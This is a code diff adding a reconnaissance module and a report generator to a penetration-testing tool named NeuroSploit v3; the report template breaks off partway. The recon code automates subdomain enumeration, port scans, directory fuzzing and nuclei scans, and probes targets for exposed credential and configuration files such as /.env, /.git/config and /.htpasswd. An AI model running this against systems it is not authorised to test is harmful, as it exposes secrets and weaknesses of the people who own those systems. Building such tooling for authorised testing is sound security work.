View File
@@ -0,0 +1,883 @@
"""
NeuroSploit v3 - Full Recon Integration
Integrates 40+ security/recon tools for comprehensive reconnaissance:
- Subdomain Enumeration: subfinder, amass, assetfinder, chaos, cero
- DNS Resolution: dnsx, massdns, puredns
- HTTP Probing: httpx, httprobe
- URL Discovery: gau, waybackurls, katana, gospider, hakrawler, cariddi
- Port Scanning: nmap, naabu, rustscan
- Tech Detection: whatweb, wafw00f
- Fuzzing: ffuf, gobuster, dirb, dirsearch
- Vulnerability Scanning: nuclei, nikto
- Parameter Discovery: arjun, paramspider
"""
import asyncio
import subprocess
import json
import os
import sys
import shutil
from typing import Optional, Callable, List, Dict, Any
from datetime import datetime
from pathlib import Path
sys.path.insert(0, str(Path(__file__).parent.parent.parent))
from backend.api.websocket import manager as ws_manager
class ReconIntegration:
"""
Full reconnaissance integration with 40+ security tools.
Automatically uses available tools and skips missing ones.
"""
def __init__(self, scan_id: str):
self.scan_id = scan_id
self.base_path = Path("/app")
self.results_path = self.base_path / "data" / "recon"
self.results_path.mkdir(parents=True, exist_ok=True)
self.wordlists_path = Path("/opt/wordlists")
# Track available tools
self.available_tools = {}
async def log(self, level: str, message: str):
"""Send log message via WebSocket"""
await ws_manager.broadcast_log(self.scan_id, level, message)
print(f"[{level.upper()}] {message}")
def _tool_exists(self, tool: str) -> bool:
"""Check if a tool is available"""
if tool not in self.available_tools:
self.available_tools[tool] = shutil.which(tool) is not None
return self.available_tools[tool]
async def run_full_recon(self, target: str, depth: str = "medium") -> Dict[str, Any]:
"""
Run full reconnaissance using all available tools.
Args:
target: Target domain or URL
depth: quick, medium, or full
Returns:
Dictionary with all recon results
"""
await self.log("info", f"🚀 Starting FULL reconnaissance on {target}")
await self.log("info", f"📊 Depth level: {depth}")
await ws_manager.broadcast_progress(self.scan_id, 5, "Initializing reconnaissance...")
# Check available tools
await self._check_tools()
results = {
"target": target,
"timestamp": datetime.utcnow().isoformat(),
"depth": depth,
"subdomains": [],
"live_hosts": [],
"urls": [],
"endpoints": [],
"ports": [],
"technologies": [],
"vulnerabilities": [],
"js_files": [],
"parameters": [],
"interesting_paths": [],
"dns_records": [],
"screenshots": [],
"secrets": []
}
# Extract domain from URL
domain = self._extract_domain(target)
base_url = target if target.startswith("http") else f"https://{target}"
# Run recon phases based on depth
phases = self._get_phases(depth)
total_phases = len(phases)
for i, (phase_name, phase_func) in enumerate(phases):
try:
progress = 5 + int((i / total_phases) * 35)
await ws_manager.broadcast_progress(self.scan_id, progress, f"Recon: {phase_name}")
await self.log("info", f"▶ Running {phase_name}...")
phase_results = await phase_func(domain, base_url)
results = self._merge_results(results, phase_results)
# Broadcast discoveries
for endpoint in phase_results.get("endpoints", []):
if isinstance(endpoint, dict):
await ws_manager.broadcast_endpoint_found(self.scan_id, endpoint)
for url in phase_results.get("urls", [])[:10]:
await ws_manager.broadcast_url_discovered(self.scan_id, url)
await self.log("info", f"{phase_name} complete")
except Exception as e:
await self.log("warning", f"{phase_name} failed: {str(e)}")
# Summary
await self.log("info", f"═══════════════════════════════════════")
await self.log("info", f"📊 Reconnaissance Summary:")
await self.log("info", f" • Subdomains: {len(results['subdomains'])}")
await self.log("info", f" • Live hosts: {len(results['live_hosts'])}")
await self.log("info", f" • URLs: {len(results['urls'])}")
await self.log("info", f" • Endpoints: {len(results['endpoints'])}")
await self.log("info", f" • Open ports: {len(results['ports'])}")
await self.log("info", f" • JS files: {len(results['js_files'])}")
await self.log("info", f" • Nuclei findings: {len(results['vulnerabilities'])}")
await self.log("info", f"═══════════════════════════════════════")
return results
async def _check_tools(self):
"""Check and report available tools"""
essential_tools = [
"subfinder", "httpx", "nuclei", "nmap", "katana", "gau",
"waybackurls", "ffuf", "gobuster", "amass", "naabu"
]
available = []
missing = []
for tool in essential_tools:
if self._tool_exists(tool):
available.append(tool)
else:
missing.append(tool)
await self.log("info", f"🔧 Tools available: {', '.join(available)}")
if missing:
await self.log("debug", f"Missing tools: {', '.join(missing)}")
def _extract_domain(self, target: str) -> str:
"""Extract domain from URL"""
domain = target.replace("https://", "").replace("http://", "")
domain = domain.split("/")[0]
domain = domain.split(":")[0]
return domain
def _get_phases(self, depth: str) -> List[tuple]:
"""Get recon phases based on depth"""
quick_phases = [
("DNS Resolution", self._dns_resolution),
("HTTP Probing", self._http_probe),
("Basic Path Discovery", self._basic_paths),
]
medium_phases = quick_phases + [
("Subdomain Enumeration", self._subdomain_enum),
("URL Collection", self._url_collection),
("Port Scan (Top 100)", self._port_scan_quick),
("Technology Detection", self._tech_detection),
("Web Crawling", self._web_crawl),
]
full_phases = medium_phases + [
("Full Port Scan", self._port_scan_full),
("Parameter Discovery", self._param_discovery),
("JavaScript Analysis", self._js_analysis),
("Directory Fuzzing", self._directory_fuzz),
("Nuclei Vulnerability Scan", self._nuclei_scan),
("Screenshot Capture", self._screenshot_capture),
]
return {
"quick": quick_phases,
"medium": medium_phases,
"full": full_phases
}.get(depth, medium_phases)
async def _run_command(self, cmd: List[str], timeout: int = 120) -> str:
"""Run a shell command asynchronously"""
try:
process = await asyncio.create_subprocess_exec(
*cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, stderr = await asyncio.wait_for(
process.communicate(),
timeout=timeout
)
return stdout.decode('utf-8', errors='ignore')
except asyncio.TimeoutError:
try:
process.kill()
except:
pass
return ""
except Exception as e:
return ""
# =========================================================================
# RECON PHASES
# =========================================================================
async def _dns_resolution(self, domain: str, base_url: str) -> Dict:
"""DNS resolution using dnsx, dig"""
results = {"dns_records": [], "subdomains": []}
# Try dnsx
if self._tool_exists("dnsx"):
output = await self._run_command(
["dnsx", "-d", domain, "-a", "-aaaa", "-cname", "-mx", "-ns", "-txt", "-silent"],
timeout=60
)
if output:
for line in output.strip().split("\n"):
if line:
results["dns_records"].append(line)
await self.log("debug", f"DNS: {line}")
# Fallback to dig
if not results["dns_records"]:
for record_type in ["A", "AAAA", "MX", "NS", "TXT", "CNAME"]:
output = await self._run_command(["dig", domain, record_type, "+short"], timeout=10)
if output:
for line in output.strip().split("\n"):
if line:
results["dns_records"].append(f"{record_type}: {line}")
return results
async def _http_probe(self, domain: str, base_url: str) -> Dict:
"""HTTP probing using httpx, httprobe"""
results = {"live_hosts": [], "endpoints": []}
# Try httpx (preferred)
if self._tool_exists("httpx"):
output = await self._run_command(
["httpx", "-u", domain, "-silent", "-status-code", "-title",
"-tech-detect", "-content-length", "-web-server"],
timeout=60
)
if output:
for line in output.strip().split("\n"):
if line:
results["live_hosts"].append(line)
parts = line.split()
url = parts[0] if parts else f"https://{domain}"
results["endpoints"].append({
"url": url,
"method": "GET",
"path": "/",
"status": int(parts[1].strip("[]")) if len(parts) > 1 and parts[1].strip("[]").isdigit() else 200,
"source": "httpx"
})
# Try httprobe
elif self._tool_exists("httprobe"):
process = await asyncio.create_subprocess_exec(
"httprobe",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, _ = await asyncio.wait_for(
process.communicate(input=f"{domain}\n".encode()),
timeout=30
)
if stdout:
for line in stdout.decode().strip().split("\n"):
if line:
results["live_hosts"].append(line)
results["endpoints"].append({
"url": line,
"method": "GET",
"path": "/",
"source": "httprobe"
})
# Fallback to curl
if not results["live_hosts"]:
for proto in ["https", "http"]:
url = f"{proto}://{domain}"
output = await self._run_command(
["curl", "-sI", "-m", "10", "-o", "/dev/null", "-w", "%{http_code}", url],
timeout=15
)
if output and output.strip() not in ["000", ""]:
results["live_hosts"].append(f"{url} [{output.strip()}]")
results["endpoints"].append({
"url": url,
"status": int(output.strip()) if output.strip().isdigit() else 0,
"source": "curl"
})
return results
async def _basic_paths(self, domain: str, base_url: str) -> Dict:
"""Check common paths"""
results = {"endpoints": [], "interesting_paths": []}
common_paths = [
"/", "/robots.txt", "/sitemap.xml", "/.git/config", "/.env",
"/api", "/api/v1", "/api/v2", "/graphql", "/swagger", "/api-docs",
"/swagger.json", "/openapi.json", "/.well-known/security.txt",
"/admin", "/administrator", "/login", "/register", "/dashboard",
"/wp-admin", "/wp-login.php", "/wp-content", "/wp-includes",
"/phpmyadmin", "/pma", "/console", "/debug", "/trace",
"/actuator", "/actuator/health", "/actuator/env", "/metrics",
"/server-status", "/server-info", "/.htaccess", "/.htpasswd",
"/backup", "/backup.zip", "/backup.sql", "/db.sql", "/dump.sql",
"/config", "/config.php", "/config.json", "/settings.json",
"/uploads", "/files", "/static", "/assets", "/media",
"/test", "/dev", "/staging", "/temp", "/tmp",
"/.git/HEAD", "/.svn/entries", "/.DS_Store",
"/info.php", "/phpinfo.php", "/test.php",
"/elmah.axd", "/trace.axd", "/web.config"
]
import aiohttp
connector = aiohttp.TCPConnector(ssl=False, limit=20)
timeout = aiohttp.ClientTimeout(total=10)
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
tasks = []
for path in common_paths:
tasks.append(self._check_path(session, base_url, path, results))
await asyncio.gather(*tasks, return_exceptions=True)
return results
async def _check_path(self, session, base_url: str, path: str, results: Dict):
"""Check a single path"""
try:
url = f"{base_url.rstrip('/')}{path}"
async with session.get(url, allow_redirects=False) as response:
if response.status < 404:
endpoint = {
"url": url,
"path": path,
"status": response.status,
"content_type": response.headers.get("Content-Type", ""),
"content_length": response.headers.get("Content-Length", ""),
"source": "path_check"
}
results["endpoints"].append(endpoint)
# Mark interesting paths
sensitive_paths = ["/.git", "/.env", "/debug", "/actuator",
"/backup", "/config", "/.htaccess", "/phpinfo",
"/trace", "/elmah", "/web.config"]
if any(s in path for s in sensitive_paths):
results["interesting_paths"].append({
"path": path,
"status": response.status,
"risk": "high",
"reason": "Potentially sensitive file/endpoint"
})
await self.log("warning", f"🚨 Interesting: {path} [{response.status}]")
else:
await self.log("info", f"Found: {path} [{response.status}]")
except:
pass
async def _subdomain_enum(self, domain: str, base_url: str) -> Dict:
"""Subdomain enumeration using multiple tools"""
results = {"subdomains": []}
found_subs = set()
await self.log("info", f"🔍 Enumerating subdomains for {domain}")
# 1. Subfinder (fast and reliable)
if self._tool_exists("subfinder"):
await self.log("debug", "Running subfinder...")
output = await self._run_command(
["subfinder", "-d", domain, "-silent", "-all"],
timeout=180
)
if output:
for sub in output.strip().split("\n"):
if sub and sub not in found_subs:
found_subs.add(sub)
# 2. Amass (comprehensive)
if self._tool_exists("amass"):
await self.log("debug", "Running amass passive...")
output = await self._run_command(
["amass", "enum", "-passive", "-d", domain, "-timeout", "3"],
timeout=240
)
if output:
for sub in output.strip().split("\n"):
if sub and sub not in found_subs:
found_subs.add(sub)
# 3. Assetfinder
if self._tool_exists("assetfinder"):
await self.log("debug", "Running assetfinder...")
output = await self._run_command(
["assetfinder", "--subs-only", domain],
timeout=60
)
if output:
for sub in output.strip().split("\n"):
if sub and sub not in found_subs:
found_subs.add(sub)
# 4. Chaos (if API key available)
if self._tool_exists("chaos") and os.environ.get("CHAOS_KEY"):
await self.log("debug", "Running chaos...")
output = await self._run_command(
["chaos", "-d", domain, "-silent"],
timeout=60
)
if output:
for sub in output.strip().split("\n"):
if sub and sub not in found_subs:
found_subs.add(sub)
# 5. Cero (certificate transparency)
if self._tool_exists("cero"):
await self.log("debug", "Running cero...")
output = await self._run_command(
["cero", domain],
timeout=60
)
if output:
for sub in output.strip().split("\n"):
if sub and domain in sub and sub not in found_subs:
found_subs.add(sub)
results["subdomains"] = list(found_subs)
await self.log("info", f"✓ Found {len(found_subs)} subdomains")
return results
async def _url_collection(self, domain: str, base_url: str) -> Dict:
"""Collect URLs from various sources"""
results = {"urls": [], "parameters": [], "js_files": []}
found_urls = set()
await self.log("info", f"🔗 Collecting URLs for {domain}")
# 1. GAU (GetAllUrls)
if self._tool_exists("gau"):
await self.log("debug", "Running gau...")
output = await self._run_command(
["gau", "--threads", "5", "--subs", domain],
timeout=180
)
if output:
for url in output.strip().split("\n")[:1000]:
if url and url not in found_urls:
found_urls.add(url)
if url.endswith(".js"):
results["js_files"].append(url)
if "?" in url:
results["parameters"].append(url)
# 2. Waybackurls
if self._tool_exists("waybackurls"):
await self.log("debug", "Running waybackurls...")
output = await self._run_command(
["waybackurls", domain],
timeout=120
)
if output:
for url in output.strip().split("\n")[:1000]:
if url and url not in found_urls:
found_urls.add(url)
if url.endswith(".js"):
results["js_files"].append(url)
if "?" in url:
results["parameters"].append(url)
results["urls"] = list(found_urls)
await self.log("info", f"✓ Collected {len(found_urls)} URLs, {len(results['parameters'])} with parameters")
return results
async def _port_scan_quick(self, domain: str, base_url: str) -> Dict:
"""Quick port scan (top 100)"""
results = {"ports": []}
await self.log("info", f"🔌 Port scanning {domain} (top 100)")
# Try naabu (fastest)
if self._tool_exists("naabu"):
await self.log("debug", "Running naabu...")
output = await self._run_command(
["naabu", "-host", domain, "-top-ports", "100", "-silent"],
timeout=120
)
if output:
for line in output.strip().split("\n"):
if line:
results["ports"].append(line)
await self.log("info", f"Port: {line}")
# Fallback to nmap
elif self._tool_exists("nmap"):
await self.log("debug", "Running nmap...")
output = await self._run_command(
["nmap", "-sT", "-T4", "--top-ports", "100", "-oG", "-", domain],
timeout=180
)
if output:
for line in output.split("\n"):
if "Ports:" in line:
ports_part = line.split("Ports:")[1]
for port_info in ports_part.split(","):
if "/open/" in port_info:
port = port_info.strip().split("/")[0]
results["ports"].append(f"{domain}:{port}")
await self.log("info", f"Port: {domain}:{port}")
return results
async def _port_scan_full(self, domain: str, base_url: str) -> Dict:
"""Full port scan"""
results = {"ports": []}
await self.log("info", f"🔌 Full port scan on {domain}")
# Try rustscan (fastest full scan)
if self._tool_exists("rustscan"):
await self.log("debug", "Running rustscan...")
output = await self._run_command(
["rustscan", "-a", domain, "--ulimit", "5000", "-g"],
timeout=300
)
if output:
for line in output.strip().split("\n"):
if line and "->" in line:
results["ports"].append(line)
# Fallback to naabu full
elif self._tool_exists("naabu"):
output = await self._run_command(
["naabu", "-host", domain, "-p", "-", "-silent"],
timeout=600
)
if output:
for line in output.strip().split("\n"):
if line:
results["ports"].append(line)
return results
async def _tech_detection(self, domain: str, base_url: str) -> Dict:
"""Detect technologies"""
results = {"technologies": []}
await self.log("info", f"🔬 Detecting technologies on {base_url}")
# Try whatweb
if self._tool_exists("whatweb"):
await self.log("debug", "Running whatweb...")
output = await self._run_command(
["whatweb", "-q", "-a", "3", "--color=never", base_url],
timeout=60
)
if output:
results["technologies"].append({"source": "whatweb", "data": output.strip()})
await self.log("debug", f"WhatWeb: {output[:200]}...")
# Try wafw00f (WAF detection)
if self._tool_exists("wafw00f"):
await self.log("debug", "Running wafw00f...")
output = await self._run_command(
["wafw00f", base_url, "-o", "-"],
timeout=60
)
if output and "No WAF" not in output:
results["technologies"].append({"source": "wafw00f", "data": output.strip()})
await self.log("warning", f"WAF detected: {output[:100]}")
return results
async def _web_crawl(self, domain: str, base_url: str) -> Dict:
"""Crawl the website for endpoints"""
results = {"endpoints": [], "js_files": [], "urls": []}
await self.log("info", f"🕷 Crawling {base_url}")
# Try katana (modern, fast)
if self._tool_exists("katana"):
await self.log("debug", "Running katana...")
output = await self._run_command(
["katana", "-u", base_url, "-d", "3", "-silent", "-jc", "-kf", "all"],
timeout=180
)
if output:
for url in output.strip().split("\n"):
if url:
if url.endswith(".js"):
results["js_files"].append(url)
results["endpoints"].append({"url": url, "source": "katana"})
results["urls"].append(url)
# Try gospider
if self._tool_exists("gospider"):
await self.log("debug", "Running gospider...")
output = await self._run_command(
["gospider", "-s", base_url, "-d", "2", "-t", "5", "--no-redirect", "-q"],
timeout=180
)
if output:
for line in output.strip().split("\n"):
if "[" in line and "]" in line:
parts = line.split(" - ")
if len(parts) > 1:
url = parts[-1].strip()
if url and url.startswith("http"):
if url not in results["urls"]:
results["urls"].append(url)
results["endpoints"].append({"url": url, "source": "gospider"})
# Try hakrawler
if self._tool_exists("hakrawler") and not results["endpoints"]:
await self.log("debug", "Running hakrawler...")
process = await asyncio.create_subprocess_exec(
"hakrawler", "-d", "2", "-u",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, _ = await asyncio.wait_for(
process.communicate(input=f"{base_url}\n".encode()),
timeout=120
)
if stdout:
for url in stdout.decode().strip().split("\n"):
if url and url.startswith("http"):
results["urls"].append(url)
results["endpoints"].append({"url": url, "source": "hakrawler"})
await self.log("info", f"✓ Crawled {len(results['endpoints'])} endpoints, {len(results['js_files'])} JS files")
return results
async def _param_discovery(self, domain: str, base_url: str) -> Dict:
"""Discover parameters"""
results = {"parameters": []}
await self.log("info", f"🔎 Discovering parameters for {domain}")
# Try paramspider
if self._tool_exists("paramspider"):
await self.log("debug", "Running paramspider...")
output = await self._run_command(
["paramspider", "-d", domain, "--quiet"],
timeout=120
)
if output:
for url in output.strip().split("\n"):
if url and "?" in url:
results["parameters"].append(url)
# Try arjun
if self._tool_exists("arjun"):
await self.log("debug", "Running arjun...")
output = await self._run_command(
["arjun", "-u", base_url, "--stable", "-oT", "/dev/stdout"],
timeout=180
)
if output:
for line in output.strip().split("\n"):
if ":" in line and line not in results["parameters"]:
results["parameters"].append(line)
return results
async def _js_analysis(self, domain: str, base_url: str) -> Dict:
"""Analyze JavaScript files for secrets and endpoints"""
results = {"secrets": [], "endpoints": [], "js_files": []}
await self.log("info", f"📜 Analyzing JavaScript files")
# Try getJS
if self._tool_exists("getJS"):
await self.log("debug", "Running getJS...")
output = await self._run_command(
["getJS", "-u", base_url, "--complete"],
timeout=60
)
if output:
for js_url in output.strip().split("\n"):
if js_url and js_url.endswith(".js"):
results["js_files"].append(js_url)
return results
async def _directory_fuzz(self, domain: str, base_url: str) -> Dict:
"""Directory fuzzing"""
results = {"endpoints": []}
wordlist = self.wordlists_path / "common.txt"
if not wordlist.exists():
return results
await self.log("info", f"📂 Fuzzing directories on {base_url}")
# Try ffuf (fastest)
if self._tool_exists("ffuf"):
await self.log("debug", "Running ffuf...")
output = await self._run_command(
["ffuf", "-u", f"{base_url}/FUZZ", "-w", str(wordlist),
"-mc", "200,201,204,301,302,307,401,403,405",
"-t", "50", "-o", "-", "-of", "json"],
timeout=180
)
if output:
try:
data = json.loads(output)
for result in data.get("results", []):
results["endpoints"].append({
"url": result.get("url", ""),
"status": result.get("status", 0),
"length": result.get("length", 0),
"source": "ffuf"
})
except:
pass
# Try gobuster
elif self._tool_exists("gobuster"):
await self.log("debug", "Running gobuster...")
output = await self._run_command(
["gobuster", "dir", "-u", base_url, "-w", str(wordlist),
"-t", "50", "-q", "--no-error"],
timeout=180
)
if output:
for line in output.strip().split("\n"):
if line and "(Status:" in line:
parts = line.split()
if parts:
path = parts[0]
results["endpoints"].append({
"url": f"{base_url}{path}",
"path": path,
"source": "gobuster"
})
return results
async def _nuclei_scan(self, domain: str, base_url: str) -> Dict:
"""Run nuclei vulnerability scanner"""
results = {"vulnerabilities": []}
if not self._tool_exists("nuclei"):
return results
await self.log("info", f"☢ Running Nuclei vulnerability scan on {base_url}")
output = await self._run_command(
["nuclei", "-u", base_url, "-severity", "critical,high,medium",
"-silent", "-json", "-c", "25"],
timeout=600
)
if output:
for line in output.strip().split("\n"):
if line:
try:
vuln = json.loads(line)
results["vulnerabilities"].append({
"name": vuln.get("info", {}).get("name", "Unknown"),
"severity": vuln.get("info", {}).get("severity", "unknown"),
"url": vuln.get("matched-at", ""),
"template": vuln.get("template-id", ""),
"description": vuln.get("info", {}).get("description", ""),
"matcher_name": vuln.get("matcher-name", "")
})
await ws_manager.broadcast_vulnerability_found(self.scan_id, {
"title": vuln.get("info", {}).get("name", "Unknown"),
"severity": vuln.get("info", {}).get("severity", "unknown"),
"type": "nuclei",
"endpoint": vuln.get("matched-at", "")
})
severity = vuln.get("info", {}).get("severity", "unknown").upper()
await self.log("warning", f"☢ NUCLEI [{severity}]: {vuln.get('info', {}).get('name')}")
except:
pass
await self.log("info", f"✓ Nuclei found {len(results['vulnerabilities'])} issues")
return results
async def _screenshot_capture(self, domain: str, base_url: str) -> Dict:
"""Capture screenshots of web pages"""
results = {"screenshots": []}
if not self._tool_exists("gowitness"):
return results
await self.log("info", f"📸 Capturing screenshots")
screenshot_dir = self.results_path / "screenshots" / self.scan_id
screenshot_dir.mkdir(parents=True, exist_ok=True)
output = await self._run_command(
["gowitness", "single", base_url, "-P", str(screenshot_dir)],
timeout=60
)
# List captured screenshots
if screenshot_dir.exists():
for f in screenshot_dir.glob("*.png"):
results["screenshots"].append(str(f))
return results
def _merge_results(self, base: Dict, new: Dict) -> Dict:
"""Merge two result dictionaries"""
for key, value in new.items():
if key in base:
if isinstance(value, list):
# Deduplicate while merging
existing = set(str(x) for x in base[key])
for item in value:
if str(item) not in existing:
base[key].append(item)
existing.add(str(item))
elif isinstance(value, dict):
base[key].update(value)
else:
base[key] = value
return base
async def check_tools_installed() -> Dict[str, bool]:
"""Check which recon tools are installed"""
tools = [
# Subdomain enumeration
"subfinder", "amass", "assetfinder", "chaos", "cero",
# DNS
"dnsx", "massdns", "puredns",
# HTTP probing
"httpx", "httprobe",
# URL discovery
"gau", "waybackurls", "katana", "gospider", "hakrawler", "cariddi", "getJS",
# Port scanning
"nmap", "naabu", "rustscan",
# Tech detection
"whatweb", "wafw00f",
# Fuzzing
"ffuf", "gobuster", "dirb", "dirsearch", "wfuzz",
# Parameter discovery
"arjun", "paramspider",
# Vulnerability scanning
"nuclei", "nikto", "sqlmap", "dalfox", "crlfuzz",
# Utilities
"gf", "qsreplace", "unfurl", "anew", "jq",
# Screenshot
"gowitness",
# Network
"curl", "wget", "dig", "whois"
]
results = {}
for tool in tools:
results[tool] = shutil.which(tool) is not None
return results
+3
View File
@@ -0,0 +1,3 @@
from backend.core.report_engine.generator import ReportGenerator
__all__ = ["ReportGenerator"]
+370
View File
@@ -0,0 +1,370 @@
"""
NeuroSploit v3 - Report Generator
Generates professional HTML, PDF, and JSON reports.
"""
import json
from datetime import datetime
from pathlib import Path
from typing import List, Tuple, Optional
from backend.models import Scan, Vulnerability
from backend.config import settings
class ReportGenerator:
"""Generates security assessment reports"""
SEVERITY_COLORS = {
"critical": "#dc3545",
"high": "#fd7e14",
"medium": "#ffc107",
"low": "#17a2b8",
"info": "#6c757d"
}
def __init__(self):
self.reports_dir = settings.REPORTS_DIR
async def generate(
self,
scan: Scan,
vulnerabilities: List[Vulnerability],
format: str = "html",
title: Optional[str] = None,
include_executive_summary: bool = True,
include_poc: bool = True,
include_remediation: bool = True
) -> Tuple[Path, str]:
"""
Generate a report.
Returns:
Tuple of (file_path, executive_summary)
"""
title = title or f"Security Assessment Report - {scan.name}"
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
# Generate executive summary
executive_summary = self._generate_executive_summary(scan, vulnerabilities)
if format == "html":
content = self._generate_html(
scan, vulnerabilities, title,
executive_summary if include_executive_summary else None,
include_poc, include_remediation
)
filename = f"report_{timestamp}.html"
elif format == "json":
content = self._generate_json(scan, vulnerabilities, title, executive_summary)
filename = f"report_{timestamp}.json"
elif format == "pdf":
# Generate HTML first, then convert to PDF
html_content = self._generate_html(
scan, vulnerabilities, title,
executive_summary, include_poc, include_remediation
)
content = html_content # PDF conversion would happen here
filename = f"report_{timestamp}.html" # For now, save as HTML
else:
raise ValueError(f"Unsupported format: {format}")
# Save report
file_path = self.reports_dir / filename
file_path.write_text(content)
return file_path, executive_summary
def _generate_executive_summary(self, scan: Scan, vulnerabilities: List[Vulnerability]) -> str:
"""Generate executive summary text"""
total = len(vulnerabilities)
critical = sum(1 for v in vulnerabilities if v.severity == "critical")
high = sum(1 for v in vulnerabilities if v.severity == "high")
medium = sum(1 for v in vulnerabilities if v.severity == "medium")
low = sum(1 for v in vulnerabilities if v.severity == "low")
risk_level = "Critical" if critical > 0 else "High" if high > 0 else "Medium" if medium > 0 else "Low" if low > 0 else "Informational"
summary = f"""A security assessment was conducted on the target application.
The assessment identified {total} vulnerabilities across the tested endpoints.
Risk Summary:
- Critical: {critical}
- High: {high}
- Medium: {medium}
- Low: {low}
Overall Risk Level: {risk_level}
{"Immediate attention is required to address critical and high severity findings." if critical or high else "The application has a reasonable security posture with some areas for improvement."}
"""
return summary
def _generate_html(
self,
scan: Scan,
vulnerabilities: List[Vulnerability],
title: str,
executive_summary: Optional[str],
include_poc: bool,
include_remediation: bool
) -> str:
"""Generate HTML report"""
# Count by severity
severity_counts = {
"critical": sum(1 for v in vulnerabilities if v.severity == "critical"),
"high": sum(1 for v in vulnerabilities if v.severity == "high"),
"medium": sum(1 for v in vulnerabilities if v.severity == "medium"),
"low": sum(1 for v in vulnerabilities if v.severity == "low"),
"info": sum(1 for v in vulnerabilities if v.severity == "info")
}
total = sum(severity_counts.values())
# Generate vulnerability cards
vuln_cards = ""
for vuln in vulnerabilities:
color = self.SEVERITY_COLORS.get(vuln.severity, "#6c757d")
poc_section = ""
if include_poc and (vuln.poc_request or vuln.poc_payload):
poc_section = f"""
<div class="poc-section">
<h4>Proof of Concept</h4>
{f'<div class="code-block"><pre>{self._escape_html(vuln.poc_payload or "")}</pre></div>' if vuln.poc_payload else ''}
{f'<div class="code-block"><pre>{self._escape_html(vuln.poc_request[:1000] if vuln.poc_request else "")}</pre></div>' if vuln.poc_request else ''}
</div>
"""
remediation_section = ""
if include_remediation and vuln.remediation:
remediation_section = f"""
<div class="remediation-section">
<h4>Remediation</h4>
<p>{self._escape_html(vuln.remediation)}</p>
</div>
"""
vuln_cards += f"""
<div class="vuln-card">
<div class="vuln-header">
<span class="severity-badge" style="background-color: {color};">{vuln.severity.upper()}</span>
<h3>{self._escape_html(vuln.title)}</h3>
</div>
<div class="vuln-meta">
<span><strong>Type:</strong> {vuln.vulnerability_type}</span>
{f'<span><strong>CWE:</strong> {vuln.cwe_id}</span>' if vuln.cwe_id else ''}
{f'<span><strong>CVSS:</strong> {vuln.cvss_score}</span>' if vuln.cvss_score else ''}
</div>
<div class="vuln-body">
<p><strong>Affected Endpoint:</strong> {self._escape_html(vuln.affected_endpoint or 'N/A')}</p>
<p><strong>Description:</strong> {self._escape_html(vuln.description or 'N/A')}</p>
{f'<p><strong>Impact:</strong> {self._escape_html(vuln.impact)}</p>' if vuln.impact else ''}
{poc_section}
{remediation_section}
</div>
</div>
"""
html = f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{self._escape_html(title)}</title>
<style>
:root {{
--bg-primary: #1a1a2e;
--bg-secondary: #16213e;
--bg-card: #0f3460;
--text-primary: #eee;
--text-secondary: #aaa;
--accent: #e94560;
--border: #333;
}}
* {{ box-sizing: border-box; margin: 0; padding: 0; }}
body {{
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
background: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
}}
.container {{ max-width: 1200px; margin: 0 auto; padding: 20px; }}
.header {{
background: linear-gradient(135deg, var(--bg-secondary), var(--bg-card));
padding: 40px;
border-radius: 10px;
margin-bottom: 30px;
text-align: center;
}}
.header h1 {{ color: var(--accent); margin-bottom: 10px; }}
.header p {{ color: var(--text-secondary); }}
.stats-grid {{
display: grid;
grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
gap: 20px;
margin-bottom: 30px;
}}
.stat-card {{
background: var(--bg-card);
padding: 20px;
border-radius: 10px;
text-align: center;
}}
.stat-card .number {{ font-size: 2em; font-weight: bold; }}
.stat-card .label {{ color: var(--text-secondary); font-size: 0.9em; }}
.section {{ background: var(--bg-secondary); padding: 30px; border-radius: 10px; margin-bottom: 30px; }}
.section h2 {{ color: var(--accent); margin-bottom: 20px; border-bottom: 2px solid var(--border); padding-bottom: 10px; }}
.vuln-card {{
background: var(--bg-card);
border-radius: 10px;
margin-bottom: 20px;
overflow: hidden;
}}
.vuln-header {{
padding: 20px;
display: flex;
align-items: center;
gap: 15px;
border-bottom: 1px solid var(--border);
}}
.vuln-header h3 {{ flex: 1; }}
.severity-badge {{
padding: 5px 15px;
border-radius: 20px;
color: white;
font-weight: bold;
font-size: 0.8em;
}}
.vuln-meta {{
padding: 10px 20px;
background: rgba(0,0,0,0.2);
display: flex;
gap: 20px;
flex-wrap: wrap;
font-size: 0.9em;
}}
.vuln-body {{ padding: 20px; }}
.vuln-body p {{ margin-bottom: 15px; }}
.poc-section, .remediation-section {{
margin-top: 20px;
padding-top: 20px;
border-top: 1px solid var(--border);
}}
.poc-section h4, .remediation-section h4 {{ color: var(--accent); margin-bottom: 10px; }}
.code-block {{
background: #0a0a15;
border-radius: 5px;
padding: 15px;
overflow-x: auto;
margin-top: 10px;
}}
.code-block pre {{
font-family: 'Monaco', 'Menlo', monospace;
font-size: 0.85em;
white-space: pre-wrap;
word-wrap: break-word;
}}
.executive-summary {{ white-space: pre-wrap; }}
.severity-chart {{
display: flex;
height: 30px;
border-radius: 5px;
overflow: hidden;
margin-top: 20px;
}}
.severity-bar {{ display: flex; align-items: center; justify-content: center; color: white; font-size: 0.8em; font-weight: bold; }}
.footer {{ text-align: center; padding: 20px; color: var(--text-secondary); font-size: 0.9em; }}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>NeuroSploit Security Report</h1>
<p>{self._escape_html(title)}</p>
<p>Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
</div>
<div class="stats-grid">
<div class="stat-card">
<div class="number" style="color: {self.SEVERITY_COLORS['critical']}">{severity_counts['critical']}</div>
<div class="label">Critical</div>
</div>
<div class="stat-card">
<div class="number" style="color: {self.SEVERITY_COLORS['high']}">{severity_counts['high']}</div>
<div class="label">High</div>
</div>
<div class="stat-card">
